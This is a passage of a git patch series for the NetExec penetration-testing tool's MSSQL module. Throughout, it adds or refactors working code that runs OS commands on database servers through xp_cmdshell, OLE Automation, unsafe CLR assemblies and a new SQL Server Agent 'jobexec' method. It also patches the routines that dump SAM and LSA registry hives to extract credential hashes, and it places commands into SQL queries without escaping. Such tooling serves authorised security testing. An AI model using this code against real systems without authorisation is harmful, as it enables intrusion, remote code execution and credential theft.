{query}") - self.mssql_conn.sql_query(query) - except Exception as e: - self.logger.error(f"Error enabling '{option}': {e}") - - def backup_and_disable(self, option): - try: - self.backuped_options[option] = self.is_option_enabled(option) - if self.backuped_options[option]: - query = f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;" - self.logger.debug(f"Disabling '{option}': {query}") - self.mssql_conn.sql_query(query) - except Exception as e: - self.logger.error(f"Error disabling '{option}': {e}") - - def is_option_enabled(self, option): - query = f"EXEC master.dbo.sp_configure '{option}';" - result = self.mssql_conn.sql_query(query) - self.logger.debug(f"'{option}' check result: {result}") - return bool(result and result[0]["config_value"] == 1) \ No newline at end of file + self.mssql.restore("clr strict security") + self.mssql.restore("clr enabled") + self.mssql.restore("advanced options") diff --git a/nxc/protocols/mssql/mssqlexec.py b/nxc/protocols/mssql/mssqlexec.py index f5af50df7a..6b7335355d 100755 --- a/nxc/protocols/mssql/mssqlexec.py +++ b/nxc/protocols/mssql/mssqlexec.py @@ -1,19 +1,14 @@ -import binascii - - class MSSQLEXEC: - def __init__(self, connection, logger): - self.mssql_conn = connection - self.logger = logger - - # Store the original state of options that have to be enabled/disabled in order to restore them later - self.backuped_options = {} + def __init__(self, mssql): + self.mssql = mssql + self.mssql_conn = mssql.conn + self.logger = mssql.logger def execute(self, command, get_output, clr_assembly=None): result = "" - self.backup_and_enable("advanced options") - self.backup_and_enable("xp_cmdshell") + self.mssql.backup_and_enable("advanced options") + self.mssql.backup_and_enable("xp_cmdshell") try: cmd = f"exec master..xp_cmdshell '{command}'" @@ -29,40 +24,7 @@ def execute(self, command, get_output, clr_assembly=None): except Exception as e: self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}") - self.restore("xp_cmdshell") - self.restore("advanced options") + self.mssql.restore("xp_cmdshell") + self.mssql.restore("advanced options") return result - - def restore(self, option): - try: - if not self.backuped_options[option]: - self.logger.debug(f"Option '{option}' was not enabled originally, attempting to disable it.") - query = f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - else: - self.logger.debug(f"Option '{option}' was originally enabled, leaving it enabled.") - except Exception as e: - self.logger.error(f"[OPSEC] Error when attempting to restore option '{option}': {e}") - - def backup_and_enable(self, option): - try: - self.backuped_options[option] = self.is_option_enabled(option) - if not self.backuped_options[option]: - self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.") - query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - else: - self.logger.debug(f"Option '{option}' is already enabled.") - except Exception as e: - self.logger.error(f"Error when checking/enabling option '{option}': {e}") - - def is_option_enabled(self, option): - query = f"EXEC master.dbo.sp_configure '{option}';" - self.logger.debug(f"Checking if {option} is enabled: {query}") - result = self.mssql_conn.sql_query(query) - # Assuming the query returns a list of dictionaries with 'config_value' as the key - self.logger.debug(f"{option} check result: {result}") - return bool(result and result[0]["config_value"] == 1) diff --git a/nxc/protocols/mssql/oleexec.py b/nxc/protocols/mssql/oleexec.py index 407eec11c9..90222aefa8 100644 --- a/nxc/protocols/mssql/oleexec.py +++ b/nxc/protocols/mssql/oleexec.py @@ -2,18 +2,16 @@ class OLEEXEC: - def __init__(self, connection, logger): - self.mssql_conn = connection - self.logger = logger + def __init__(self, mssql): + self.mssql = mssql + self.mssql_conn = mssql.conn + self.logger = mssql.logger self.default_output_dir = "c:\\Windows\\Temp\\" - self.output_file = f"{gen_random_string(6)}.log" - - # Store the original state of options that have to be enabled/disabled in order to restore them later - self.backuped_options = {} + self.output_file = f"{gen_random_string(8)}.log" def execute(self, command, get_output, clr_assembly=None): - self.backup_and_enable("advanced options") - self.backup_and_enable("Ole Automation Procedures") + self.mssql.backup_and_enable("advanced options") + self.mssql.backup_and_enable("Ole Automation Procedures") command_query = f""" DECLARE @shell INT; @@ -67,39 +65,6 @@ def execute(self, command, get_output, clr_assembly=None): if self.mssql_conn.lastError: self.logger.debug(f"Error while deleting '{self.default_output_dir}{self.output_file}': {self.mssql_conn.lastError}") - self.restore("Ole Automation Procedures") - self.restore("advanced options") + self.mssql.restore("Ole Automation Procedures") + self.mssql.restore("advanced options") return output - - def restore(self, option): - try: - if not self.backuped_options[option]: - self.logger.debug(f"Option '{option}' was not enabled originally, attempting to disable it.") - query = f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - else: - self.logger.debug(f"Option '{option}' was originally enabled, leaving it enabled.") - except Exception as e: - self.logger.error(f"[OPSEC] Error when attempting to restore option '{option}': {e}") - - def backup_and_enable(self, option): - try: - self.backuped_options[option] = self.is_option_enabled(option) - if not self.backuped_options[option]: - self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.") - query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - else: - self.logger.debug(f"Option '{option}' is already enabled.") - except Exception as e: - self.logger.error(f"Error when checking/enabling option '{option}': {e}") - - def is_option_enabled(self, option): - query = f"EXEC master.dbo.sp_configure '{option}';" - self.logger.debug(f"Checking if {option} is enabled: {query}") - result = self.mssql_conn.sql_query(query) - # Assuming the query returns a list of dictionaries with 'config_value' as the key - self.logger.debug(f"{option} check result: {result}") - return bool(result and result[0]["config_value"] == 1) From b40b6090a59d74c866d5c05289d23ff51bbf5408 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Thu, 4 Jun 2026 17:27:19 +0200 Subject: [PATCH 03/11] MMGA - patch lsa/sam dump --- nxc/protocols/mssql.py | 38 ++++++++++++++++++++------------------ 1 file changed, 20 insertions(+), 18 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 0ccd3df6d9..b9fad7ab56 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -443,9 +443,10 @@ def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=Fa return response @requires_admin - def put_file(self): - download_path = self.args.put_file[0] - remote_path = self.args.put_file[1] + def put_file(self, download_path=None, remote_path=None): + if remote_path is None and download_path is None: + download_path = self.args.put_file[0] + remote_path = self.args.put_file[1] self.logger.display(f"Copy {download_path} to {remote_path}") with open(download_path, "rb") as f: data = f.read() @@ -464,9 +465,10 @@ def put_file(self): self.logger.debug(f"Error uploading via mssqlexec: {e}") @requires_admin - def get_file(self): - remote_path = self.args.get_file[0] - download_path = self.args.get_file[1] + def get_file(self, remote_path=None, download_path=None): + if remote_path is None and download_path is None: + remote_path = self.args.get_file[0] + download_path = self.args.get_file[1] self.logger.display(f'Copying "{remote_path}" to "{download_path}"') try: @@ -646,12 +648,12 @@ def sam(self): get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F" output_filename = self.output_file_template.format(output_folder="sam") try: - exec_method = MSSQLEXEC(self.conn, self.logger) - exec_method.execute(dump_command) - exec_method.execute(get_owner_command) - exec_method.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam") - exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") - exec_method.execute(clean_command) + exec_method = MSSQLEXEC(self) + exec_method.execute(dump_command, True) + exec_method.execute(get_owner_command, True) + self.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam") + self.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") + exec_method.execute(clean_command, True) except Exception as e: self.logger.fail(f"Failed to dump SAM database, error: {e!s}") self.logger.debug(f"Error dumping SAM: {e}", exc_info=True) @@ -681,12 +683,12 @@ def lsa(self): get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F" output_filename = self.output_file_template.format(output_folder="lsa") try: - exec_method = MSSQLEXEC(self.conn, self.logger) - exec_method.execute(dump_command) - exec_method.execute(get_owner_command) - exec_method.get_file(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security") - exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") - exec_method.execute(clean_command) + exec_method = MSSQLEXEC(self) + exec_method.execute(dump_command, True) + exec_method.execute(get_owner_command, True) + self.get_file(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security") + self.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") + exec_method.execute(clean_command, True) except Exception as e: self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}") self.logger.debug(f"Error dumping LSA: {e}", exc_info=True) From ddbe769be1c29621c0e7b2491eddb33c597c7c7c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Thu, 4 Jun 2026 17:34:55 +0200 Subject: [PATCH 04/11] MMGA - make is_option_enabled a _is_option_enabled --- nxc/protocols/mssql.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index b9fad7ab56..09412a2a0b 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -710,7 +710,7 @@ def lsa(self): LSA.dumpCachedHashes() LSA.dumpSecrets() - def is_option_enabled(self, option): + def _is_option_enabled(self, option): query = f"EXEC master.dbo.sp_configure '{option}';" self.logger.debug(f"Checking if '{option}' is enabled: {query}") result = self.conn.sql_query(query) @@ -720,7 +720,7 @@ def is_option_enabled(self, option): @requires_admin def backup_and_enable(self, option): try: - self.backuped_options[option] = self.is_option_enabled(option) + self.backuped_options[option] = self._is_option_enabled(option) if not self.backuped_options[option]: self.logger.debug(f"Option '{option}' is disabled, enabling it.") self.conn.sql_query(f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;") @@ -732,7 +732,7 @@ def backup_and_enable(self, option): @requires_admin def backup_and_disable(self, option): try: - self.backuped_options[option] = self.is_option_enabled(option) + self.backuped_options[option] = self._is_option_enabled(option) if self.backuped_options[option]: self.logger.debug(f"Option '{option}' is enabled, disabling it.") self.conn.sql_query(f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;") From 3e70032fc6fc93db1d24026b9bf5cf10144daa1c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Fri, 5 Jun 2026 19:27:37 +0200 Subject: [PATCH 05/11] Add jobexec if sql server agent is running --- nxc/protocols/mssql.py | 11 +++- nxc/protocols/mssql/jobexec.py | 93 +++++++++++++++++++++++++++++++ nxc/protocols/mssql/proto_args.py | 2 +- 3 files changed, 103 insertions(+), 3 deletions(-) create mode 100644 nxc/protocols/mssql/jobexec.py diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 09412a2a0b..90dfb8f8e9 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -15,7 +15,7 @@ from nxc.protocols.mssql.mssqlexec import MSSQLEXEC from nxc.protocols.mssql.oleexec import OLEEXEC from nxc.protocols.mssql.clrexec import CLREXEC - +from nxc.protocols.mssql.jobexec import JOBEXEC from impacket import tds, ntlm from impacket.krb5.ccache import CCache @@ -367,7 +367,14 @@ def execute(self, payload=None, get_output=False, methods=None) -> str: except Exception as e: self.logger.fail(f"Couldn't instantiate CLREXEC method: {e!s}") continue - + elif method == "jobexec": + try: + exec_method = JOBEXEC(self) + self.logger.debug("JOBEXEC execution method instantiated") + break + except Exception as e: + self.logger.fail(f"Couldn't instantiate JOBEXEC method: {e!s}") + continue if "exec_method" in locals(): # This part is hacky because we need to be able to determine whether the user used -x/-X with a command diff --git a/nxc/protocols/mssql/jobexec.py b/nxc/protocols/mssql/jobexec.py new file mode 100644 index 0000000000..87facf0a3d --- /dev/null +++ b/nxc/protocols/mssql/jobexec.py @@ -0,0 +1,93 @@ +from time import sleep +from nxc.helpers.misc import gen_random_string + + +class JOBEXEC: + def __init__(self, mssql): + self.mssql = mssql + self.mssql_conn = mssql.conn + self.logger = mssql.logger + self.job_name = f"nxc_mssql_{gen_random_string(10)}" + self.backuped_options = {} + self.assembly_hex = None + + def execute(self, command, get_output, args=None) -> str: + + check_if_server_agent_run_query = """ + SELECT * + FROM sys.dm_server_services + WHERE servicename LIKE '%SQL Server Agent%' + AND status = 4; + """ + self.logger.debug(f"Running {check_if_server_agent_run_query}") + rows = self.mssql_conn.sql_query(check_if_server_agent_run_query) + if self.mssql_conn.lastError: + self.logger.fail(f"Error executing jobexec: {self.mssql_conn.lastError}") + if not rows or rows[0]["status"] != 4: + self.logger.fail("SQL Server Agent not running.") + return + + jobexec_query = f""" + EXEC msdb.dbo.sp_add_job + @job_name = '{self.job_name}'; + + EXEC msdb.dbo.sp_add_jobstep + @job_name = '{self.job_name}', + @step_name = 'Run CMD', + @subsystem = 'CMDEXEC', + @command = 'whoami /priv'; + + EXEC msdb.dbo.sp_add_jobserver + @job_name = '{self.job_name}'; + + EXEC msdb.dbo.sp_start_job + @job_name = '{self.job_name}'; + """ + self.logger.debug(f"Running {jobexec_query}") + self.mssql_conn.sql_query(jobexec_query) + if self.mssql_conn.lastError: + self.logger.fail(f"Error executing jobexec: {self.mssql_conn.lastError}") + + # Wait for the job for being executed + wait_job_finished_query = f""" + SELECT TOP 1 stop_execution_date + FROM msdb.dbo.sysjobactivity a + JOIN msdb.dbo.sysjobs j ON a.job_id = j.job_id + WHERE j.name = '{self.job_name}' + ORDER BY run_requested_date DESC; + """ + self.logger.debug(f"Running {wait_job_finished_query}") + for _ in range(10): + rows = self.mssql_conn.sql_query(wait_job_finished_query) + if rows and rows[0].get("stop_execution_date") != "NULL": + break + sleep(0.5) + + # Get output + get_output_query = f""" + SELECT TOP 1 + h.step_id, + h.run_status, + h.message, + h.run_date, + h.run_time + FROM msdb.dbo.sysjobhistory h + JOIN msdb.dbo.sysjobs j ON h.job_id = j.job_id + WHERE j.name = '{self.job_name}' + AND h.step_id > 0 + ORDER BY h.instance_id DESC; + """ + self.logger.debug(f"Running {get_output_query}") + result_rows = self.mssql_conn.sql_query(get_output_query) + if self.mssql_conn.lastError: + self.logger.fail(f"Error executing history retrieval: {self.mssql_conn.lastError}") + + cleanup_query = f""" + EXEC msdb.dbo.sp_delete_job @job_name = '{self.job_name}'; + """ + self.logger.debug(f"Running {cleanup_query}") + rows = self.mssql_conn.sql_query(cleanup_query) + if self.mssql_conn.lastError: + self.logger.fail(f"Error cleaning up: {self.mssql_conn.lastError}") + + return result_rows[0].get("message") diff --git a/nxc/protocols/mssql/proto_args.py b/nxc/protocols/mssql/proto_args.py index ce7218aeae..bf8b295b4f 100644 --- a/nxc/protocols/mssql/proto_args.py +++ b/nxc/protocols/mssql/proto_args.py @@ -19,7 +19,7 @@ def proto_args(parser, parents): cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") cgroup = mssql_parser.add_argument_group("Command Execution") - cgroup.add_argument("--exec-method", choices={"mssqlexec", "oleexec", "clrexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode", action=DefaultTrackingAction) + cgroup.add_argument("--exec-method", choices={"mssqlexec", "oleexec", "clrexec", "jobexec"}, default="mssqlexec", help="method to execute the command. Ignored if in MSSQL mode", action=DefaultTrackingAction) cgroup.add_argument("--clr-assembly", default=f"{path.join(DATA_PATH, 'mssql_clr/default_cmd_assembly.dll')}", help="Path to the .NET assembly to execute via clrexec. If not provided, uses the built-in assembly.", action=DefaultTrackingAction) cgroup.add_argument("--clr-classname", default="StoredProcedures", help="CLR class name in the assembly (default: StoredProcedures)") cgroup.add_argument("--clr-method", default="ExecuteCommand", help="CLR method name in the assembly (default: ExecuteCommand)") From 5bbf267b85b32e5a7e128ccf9cec148fb8c8a2f1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Fri, 5 Jun 2026 19:29:19 +0200 Subject: [PATCH 06/11] Pass the actual command --- nxc/protocols/mssql/jobexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/mssql/jobexec.py b/nxc/protocols/mssql/jobexec.py index 87facf0a3d..7d458424b6 100644 --- a/nxc/protocols/mssql/jobexec.py +++ b/nxc/protocols/mssql/jobexec.py @@ -35,7 +35,7 @@ def execute(self, command, get_output, args=None) -> str: @job_name = '{self.job_name}', @step_name = 'Run CMD', @subsystem = 'CMDEXEC', - @command = 'whoami /priv'; + @command = '{command}'; EXEC msdb.dbo.sp_add_jobserver @job_name = '{self.job_name}'; From f9d800040bb5bb171544a4653c67dd418096528f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Sat, 6 Jun 2026 11:46:23 +0200 Subject: [PATCH 07/11] Fix jobexec output --- nxc/protocols/mssql/jobexec.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/mssql/jobexec.py b/nxc/protocols/mssql/jobexec.py index 7d458424b6..174e394ff9 100644 --- a/nxc/protocols/mssql/jobexec.py +++ b/nxc/protocols/mssql/jobexec.py @@ -1,3 +1,4 @@ +from re import search from time import sleep from nxc.helpers.misc import gen_random_string @@ -79,6 +80,11 @@ def execute(self, command, get_output, args=None) -> str: """ self.logger.debug(f"Running {get_output_query}") result_rows = self.mssql_conn.sql_query(get_output_query) + if self.mssql_conn.lastError: + self.logger.fail(f"Fail running command execution: {self.mssql_conn.lastError}") + + if match := search(r"\.(.*?)\.", result_rows[0]["message"]): + output = match.group(1).strip() if self.mssql_conn.lastError: self.logger.fail(f"Error executing history retrieval: {self.mssql_conn.lastError}") @@ -90,4 +96,4 @@ def execute(self, command, get_output, args=None) -> str: if self.mssql_conn.lastError: self.logger.fail(f"Error cleaning up: {self.mssql_conn.lastError}") - return result_rows[0].get("message") + return output From f24978467433c8ae22ef5967aea62dd80c47f7a1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Fri, 3 Jul 2026 14:03:19 +0200 Subject: [PATCH 08/11] update --- nxc/protocols/mssql/jobexec.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/mssql/jobexec.py b/nxc/protocols/mssql/jobexec.py index 174e394ff9..8b34cbc886 100644 --- a/nxc/protocols/mssql/jobexec.py +++ b/nxc/protocols/mssql/jobexec.py @@ -80,8 +80,9 @@ def execute(self, command, get_output, args=None) -> str: """ self.logger.debug(f"Running {get_output_query}") result_rows = self.mssql_conn.sql_query(get_output_query) - if self.mssql_conn.lastError: + if self.mssql_conn.lastError or not result_rows: self.logger.fail(f"Fail running command execution: {self.mssql_conn.lastError}") + return if match := search(r"\.(.*?)\.", result_rows[0]["message"]): output = match.group(1).strip() @@ -96,4 +97,4 @@ def execute(self, command, get_output, args=None) -> str: if self.mssql_conn.lastError: self.logger.fail(f"Error cleaning up: {self.mssql_conn.lastError}") - return output + return output \ No newline at end of file From 59428fc4440de3cc21d500e80f3bdfbb6889b945 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Thu, 9 Jul 2026 17:13:00 +0200 Subject: [PATCH 09/11] Patch jobexec when sql agent server is not running --- nxc/protocols/mssql.py | 3 +++ nxc/protocols/mssql/jobexec.py | 6 +++--- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 90dfb8f8e9..3ceae0c0af 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -370,6 +370,9 @@ def execute(self, payload=None, get_output=False, methods=None) -> str: elif method == "jobexec": try: exec_method = JOBEXEC(self) + # SQL agent is not running, as such we just return and avoid command execution + if exec_method.is_sql_server_agent_running is False: + return None self.logger.debug("JOBEXEC execution method instantiated") break except Exception as e: diff --git a/nxc/protocols/mssql/jobexec.py b/nxc/protocols/mssql/jobexec.py index 8b34cbc886..a59fc3aae9 100644 --- a/nxc/protocols/mssql/jobexec.py +++ b/nxc/protocols/mssql/jobexec.py @@ -11,8 +11,7 @@ def __init__(self, mssql): self.job_name = f"nxc_mssql_{gen_random_string(10)}" self.backuped_options = {} self.assembly_hex = None - - def execute(self, command, get_output, args=None) -> str: + self.is_sql_server_agent_running = True check_if_server_agent_run_query = """ SELECT * @@ -26,8 +25,9 @@ def execute(self, command, get_output, args=None) -> str: self.logger.fail(f"Error executing jobexec: {self.mssql_conn.lastError}") if not rows or rows[0]["status"] != 4: self.logger.fail("SQL Server Agent not running.") - return + self.is_sql_server_agent_running = False + def execute(self, command, get_output, args=None) -> str: jobexec_query = f""" EXEC msdb.dbo.sp_add_job @job_name = '{self.job_name}'; From 9dbc3f58e3b56ffdb4c6506a5ad3fbebc5b646b4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Thu, 9 Jul 2026 17:32:14 +0200 Subject: [PATCH 10/11] Add the --sql-agent that will check whether the SQL agent server is running and with which service account --- nxc/protocols/mssql.py | 19 +++++++++++++++++++ nxc/protocols/mssql/proto_args.py | 1 + 2 files changed, 20 insertions(+) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 3ceae0c0af..665121c9ad 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -649,6 +649,25 @@ def database(self): self.logger.highlight(f"Total: {len(rows)} table(s)") return + def sql_agent(self): + check_sql_agent_server_req = """ + SELECT + status_desc, + status, + service_account + FROM sys.dm_server_services + WHERE servicename LIKE '%SQL Server Agent%'; + """ + + self.logger.debug(f"Running {check_sql_agent_server_req}") + rows = self.conn.sql_query(check_sql_agent_server_req) + if self.conn.lastError: + self.logger.fail(f"Error executing jobexec: {self.conn.lastError}") + if not rows or rows[0]["status"] != 4: + self.logger.fail("SQL Server Agent not running.") + else: + self.logger.highlight(f"SQL server agent running as {rows[0]['service_account']}") + @requires_admin def sam(self): sam_storename = gen_random_string(6) diff --git a/nxc/protocols/mssql/proto_args.py b/nxc/protocols/mssql/proto_args.py index bf8b295b4f..359e3636c8 100644 --- a/nxc/protocols/mssql/proto_args.py +++ b/nxc/protocols/mssql/proto_args.py @@ -41,4 +41,5 @@ def proto_args(parser, parents): mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration") mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") + mapping_enum_group.add_argument("--sql-agent", action="store_true", default=False, help="Checks if the SQL server agent is running and with which account") return parser From 770eef0a73b4dfed7bcb69c74a63466487b1862e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Thu, 9 Jul 2026 21:44:16 +0200 Subject: [PATCH 11/11] Add try/except to ensure cleanup --- nxc/protocols/mssql/clrexec.py | 78 ++++++++++++++++------------------ 1 file changed, 37 insertions(+), 41 deletions(-) diff --git a/nxc/protocols/mssql/clrexec.py b/nxc/protocols/mssql/clrexec.py index 14bf1addf3..d324cc8acb 100644 --- a/nxc/protocols/mssql/clrexec.py +++ b/nxc/protocols/mssql/clrexec.py @@ -39,53 +39,49 @@ def execute(self, command, get_output, args=None) -> str: self.logger.debug(f"Trusting the assembly: {trust_query}") self.mssql_conn.sql_query(trust_query) if self.mssql_conn.lastError: - self.logger.error(f"Error trusting assembly: {self.mssql_conn.lastError}") + self.logger.fail(f"Error trusting assembly: {self.mssql_conn.lastError}") self._cleanup() self._restore_all() return "" - create_assembly_query = f""" - CREATE ASSEMBLY [{self.assembly_name}] - FROM {self.assembly_hex} - WITH PERMISSION_SET = UNSAFE; - """ - self.logger.debug(f"Creating assembly: {create_assembly_query}") - self.mssql_conn.sql_query(create_assembly_query) - if self.mssql_conn.lastError: - self.logger.error(f"Error creating assembly: {self.mssql_conn.lastError}") - self._cleanup() - self._restore_all() - return "" - - create_proc_query = f""" - CREATE PROCEDURE [{self.procedure_name}] @cmd NVARCHAR(4000) - AS EXTERNAL NAME [{self.assembly_name}].[{self.classname}].[{self.method}]; - """ - self.logger.debug(f"Creating procedure: {create_proc_query}") - self.mssql_conn.sql_query(create_proc_query) - if self.mssql_conn.lastError: - self.logger.error(f"Error creating procedure: {self.mssql_conn.lastError}") + # This try/except is mandatory because we have to make sure what we added is deleted + # And I have had strange time out once, hence the need + try: + create_assembly_query = f""" + CREATE ASSEMBLY [{self.assembly_name}] + FROM {self.assembly_hex} + WITH PERMISSION_SET = UNSAFE; + """ + self.logger.debug(f"Creating assembly: {create_assembly_query}") + self.mssql_conn.sql_query(create_assembly_query) + if self.mssql_conn.lastError: + self.logger.fail(f"Error creating assembly: {self.mssql_conn.lastError}") + + create_proc_query = f""" + CREATE PROCEDURE [{self.procedure_name}] @cmd NVARCHAR(4000) + AS EXTERNAL NAME [{self.assembly_name}].[{self.classname}].[{self.method}]; + """ + self.logger.debug(f"Creating procedure: {create_proc_query}") + self.mssql_conn.sql_query(create_proc_query) + if self.mssql_conn.lastError: + self.logger.fail(f"Error creating procedure: {self.mssql_conn.lastError}") + + exec_query = f"EXEC [{self.procedure_name}] @cmd = N'{command}';" + self.logger.debug(f"Executing: {exec_query}") + raw = self.mssql_conn.sql_query(exec_query) + if self.mssql_conn.lastError: + self.logger.fail(f"Error executing procedure: {self.mssql_conn.lastError}") + + self.logger.debug(f"Raw results: {raw}") + output = "" + if raw and raw[0]: + first_val = next(iter(raw[0].values())) + output = first_val.decode("cp850").strip() if isinstance(first_val, bytes) else str(first_val).strip() + except Exception: + pass + finally: self._cleanup() self._restore_all() - return "" - - exec_query = f"EXEC [{self.procedure_name}] @cmd = N'{command}';" - self.logger.debug(f"Executing: {exec_query}") - raw = self.mssql_conn.sql_query(exec_query) - if self.mssql_conn.lastError: - self.logger.error(f"Error executing procedure: {self.mssql_conn.lastError}") - self._cleanup() - self._restore_all() - return "" - - self.logger.debug(f"Raw results: {raw}") - output = "" - if raw and raw[0]: - first_val = list(raw[0].values())[0] - output = first_val.decode("cp850").strip() if isinstance(first_val, bytes) else str(first_val).strip() - - self._cleanup() - self._restore_all() return output def _cleanup_stale(self):